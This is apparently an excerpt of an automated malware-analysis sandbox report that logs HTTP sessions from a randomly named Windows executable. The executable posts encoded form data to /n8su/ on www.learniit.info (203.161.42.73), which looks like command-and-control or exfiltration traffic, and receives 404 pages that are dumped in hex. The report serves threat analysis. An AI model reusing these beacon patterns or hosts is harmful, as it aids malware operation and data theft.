Dec 12, 2024 10:21:44.996534109 CET	1236	IN	Data Raw: 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 34 33 32 2c 38 2e 32 34 39 37 31 20 2d 34 2e 37 35 30 33 31 35 2c 31 31 Data Ascii: 49655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.41676 9.798356,35.91675 15.180267,5
Dec 12, 2024 10:21:44.996551991 CET	448	IN	Data Raw: 37 38 36 2c 36 2e 32 32 39 31 32 20 31 31 2e 36 39 37 38 39 2c 31 32 2e 32 32 39 31 34 20 31 37 2e 31 31 34 35 36 2c 31 38 2e 33 39 35 38 31 20 35 2e 34 31 36 36 36 2c 36 2e 31 36 36 36 37 20 31 30 2e 37 34 39 39 36 2c 31 32 2e 34 39 39 39 35 20 Data Ascii: 786,6.22912 11.69789,12.22914 17.11456,18.39581 5.41666,6.16667 10.74996,12.49995 14.74993,17.91655 3.99997,5.41659 6.66659,9.91653 7.16671,17.83316 0.50012,7.91664 -1.16644,19.24921 -3.3502,31.24619 -2.18376,11.99698 -4.81616,24.33632 -8.4206
Dec 12, 2024 10:21:44.996654034 CET	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Dec 12, 2024 10:21:44.996673107 CET	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Dec 12, 2024 10:21:44.996691942 CET	448	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Dec 12, 2024 10:21:44.996711016 CET	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49180	203.161.42.73	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:46.426131964 CET	808	OUT	POST /n8su/ HTTP/1.1 Host: www.learniit.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.learniit.info Referer: http://www.learniit.info/n8su/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 6f 48 35 61 4d 31 6a 6b 68 64 55 6a 5a 4e 51 6e 4b 78 44 44 48 31 34 71 6d 49 4a 68 2b 51 7a 77 70 5a 35 76 6f 2b 63 55 7a 35 62 6a 41 6c 75 44 43 50 49 79 75 48 78 30 45 4e 59 6e 38 78 49 44 63 65 51 69 76 53 44 4a 66 39 4b 4f 73 39 76 64 31 45 36 74 41 4e 38 50 6a 49 33 69 61 35 6c 54 6e 6d 63 47 43 48 34 49 44 71 54 45 72 39 61 64 79 73 44 63 51 78 66 35 6c 36 4f 51 4a 69 53 62 5a 72 46 33 54 2f 33 4f 64 64 2b 64 37 33 77 6a 31 4b 55 33 42 4c 4c 55 45 71 46 36 69 73 75 41 75 6c 7a 34 67 4d 4a 4b 51 74 53 6b 78 77 61 33 4e 51 6c 37 31 6f 2f 6d 67 79 4b 77 34 44 4d 36 6d 41 3d 3d Data Ascii: x4=oH5aM1jkhdUjZNQnKxDDH14qmIJh+QzwpZ5vo+cUz5bjAluDCPIyuHx0ENYn8xIDceQivSDJf9KOs9vd1E6tAN8PjI3ia5lTnmcGCH4IDqTEr9adysDcQxf5l6OQJiSbZrF3T/3Odd+d73wj1KU3BLLUEqF6isuAulz4gMJKQtSkxwa3NQl71o/mgyKw4DM6mA==
Dec 12, 2024 10:21:47.642015934 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:21:47 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Dec 12, 2024 10:21:47.642050982 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Dec 12, 2024 10:21:47.642087936 CET	1236	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Dec 12, 2024 10:21:47.642283916 CET	1236	IN	Data Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
Dec 12, 2024 10:21:47.642306089 CET	896	IN	Data Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32 Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
Dec 12, 2024 10:21:47.642324924 CET	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Dec 12, 2024 10:21:47.642342091 CET	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Dec 12, 2024 10:21:47.642359972 CET	448	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Dec 12, 2024 10:21:47.642565966 CET	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Dec 12, 2024 10:21:47.642585039 CET	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
Dec 12, 2024 10:21:47.763082981 CET	1236	IN	Data Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49181	203.161.42.73	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:49.089282036 CET	2472	OUT	POST /n8su/ HTTP/1.1 Host: www.learniit.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.learniit.info Referer: http://www.learniit.info/n8su/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 6f 48 35 61 4d 31 6a 6b 68 64 55 6a 62 74 67 6e 52 51 44 44 47 56 34 70 36 59 4a 68 6b 67 7a 30 70 5a 46 76 6f 37 34 2b 7a 4c 33 6a 41 32 57 44 44 71 6b 79 6f 48 78 30 47 4e 59 38 2f 42 49 73 63 65 31 64 76 51 62 5a 66 2f 47 4f 2b 75 6e 64 7a 42 75 71 54 39 38 42 70 6f 33 68 61 35 6c 4b 6e 69 41 43 43 45 55 75 44 71 37 45 33 65 79 64 6c 73 44 66 56 78 66 35 6c 36 4f 4d 4a 69 53 7a 5a 71 74 76 54 36 62 65 64 76 6d 64 37 57 51 6a 77 72 55 30 51 37 4c 51 48 71 46 6c 79 4d 6a 6c 70 57 65 79 6a 71 4e 73 52 2f 71 79 2b 7a 6d 30 4c 47 63 33 33 59 2f 49 34 33 4c 55 74 78 56 59 78 68 67 6c 68 71 49 66 57 61 62 4c 42 45 59 74 36 74 4b 32 62 74 50 55 67 6e 57 4d 43 2f 77 44 69 36 69 5a 42 48 5a 36 76 76 36 4d 62 31 53 5a 63 41 42 43 54 7a 39 6e 66 70 43 69 4c 76 6b 62 47 4e 4a 65 32 55 77 68 76 31 4f 68 51 66 32 58 35 54 4e 32 55 48 54 52 52 64 30 61 50 57 68 4f 52 5a 45 54 5a 33 77 62 6b 63 79 74 52 30 68 58 75 42 33 52 44 56 31 71 71 63 6b 69 49 6f 2f 70 42 6c 45 33 44 4f 75 62 5a 59 59 68 53 51 6a [TRUNCATED] Data Ascii: x4=oH5aM1jkhdUjbtgnRQDDGV4p6YJhkgz0pZFvo74+zL3jA2WDDqkyoHx0GNY8/BIsce1dvQbZf/GO+undzBuqT98Bpo3ha5lKniACCEUuDq7E3eydlsDfVxf5l6OMJiSzZqtvT6bedvmd7WQjwrU0Q7LQHqFlyMjlpWeyjqNsR/qy+zm0LGc33Y/I43LUtxVYxhglhqIfWabLBEYt6tK2btPUgnWMC/wDi6iZBHZ6vv6Mb1SZcABCTz9nfpCiLvkbGNJe2Uwhv1OhQf2X5TN2UHTRRd0aPWhORZETZ3wbkcytR0hXuB3RDV1qqckiIo/pBlE3DOubZYYhSQjSoiAn86aXrS90UvMJRJeVqix8pVw/aH0zWLe9ZLyD75K2nNqoNsr6fkevORi6cP7Tnxby/+E6fvPywtJ2SSFP+pbaOhOWA0zKeXfQQXFnQ1HWKgBVBn6yzb3FVNRj6vvz0e5W7/JHhZ+tKnzNedrhPVW03Zlc1bt2TDPhBX5A6XTRLZseSWKuXTCw4dAC4sPnoUT9LaUtpaMhjJP2/j6ObYKoPwffexrVukm/6lZQ+xoh3TyT3nnPY4dSYPJ5zr0CgetuJd+vZ8MowElSsziy4lsrKQ8gPqcL+v50ecZEh+vxFvk2UUPsKSBas/8u8tf5znGbzD0cjJV61BgXDf2CyefW4ujjTY0JwZll79CQO1oWMJUjZjzMMTSFmfF2d5jM8riq1mJKNKIhwYTyt03+elyhy7Vh2t6GkrK0tP2u4BvyQolJUbxL91GWDYsFL43LLSKrmvgzQ4SuugAUSAsutRTKYAz//xFxw2Al3lrYUS+TxLCMtsK7T5McMTjFQ+qd5I+X/w+1Ey7cIuev5jnMsvhMNG4RNEJEKKeVpFv5JC//WiA0QJ5x1lMCv4H+ihC7rKgeEqKiCGgLoPcN4emzPou2vgv30L1moMICXq7TkblI/AG7X9SFau/9VTYAgoHdP6zV5Zy7waLMBYesAfUh9Iihja6R82ONn [TRUNCATED]
Dec 12, 2024 10:21:49.211359024 CET	1761	OUT	Data Raw: 71 56 49 6e 48 2b 4d 48 70 6a 53 74 65 39 75 4b 46 32 4c 66 6c 39 34 47 76 58 34 66 65 2b 41 6f 51 2b 4c 50 37 2b 74 35 41 62 66 49 6c 74 76 46 30 70 38 79 39 54 49 69 71 34 78 71 34 7a 45 6d 7a 6a 46 51 4f 74 53 77 58 70 33 4b 51 75 58 30 4f 52 Data Ascii: qVInH+MHpjSte9uKF2Lfl94GvX4fe+AoQ+LP7+t5AbfIltvF0p8y9TIiq4xq4zEmzjFQOtSwXp3KQuX0ORn2LVQ1rHwV2SI+4KIitSviL2EJmP9YTG9ucFgubSMX84WGiYud/h9G3BxLibOxKh6loK/V2Rgi1BOxWU1u9K8l3e0XIShjYfhbR79uP3jGFGjcyd9fi9z5iaBMW19jn96xgLf8c6T4z/ssj6MwU0fl84Ot6/0HyQB
Dec 12, 2024 10:21:50.341052055 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:21:50 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Dec 12, 2024 10:21:50.341111898 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Dec 12, 2024 10:21:50.341154099 CET	1236	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Dec 12, 2024 10:21:50.341224909 CET	1236	IN	Data Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
Dec 12, 2024 10:21:50.341259956 CET	896	IN	Data Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32 Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
Dec 12, 2024 10:21:50.341382980 CET	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Dec 12, 2024 10:21:50.341414928 CET	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Dec 12, 2024 10:21:50.341496944 CET	448	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Dec 12, 2024 10:21:50.341548920 CET	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Dec 12, 2024 10:21:50.341692924 CET	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"

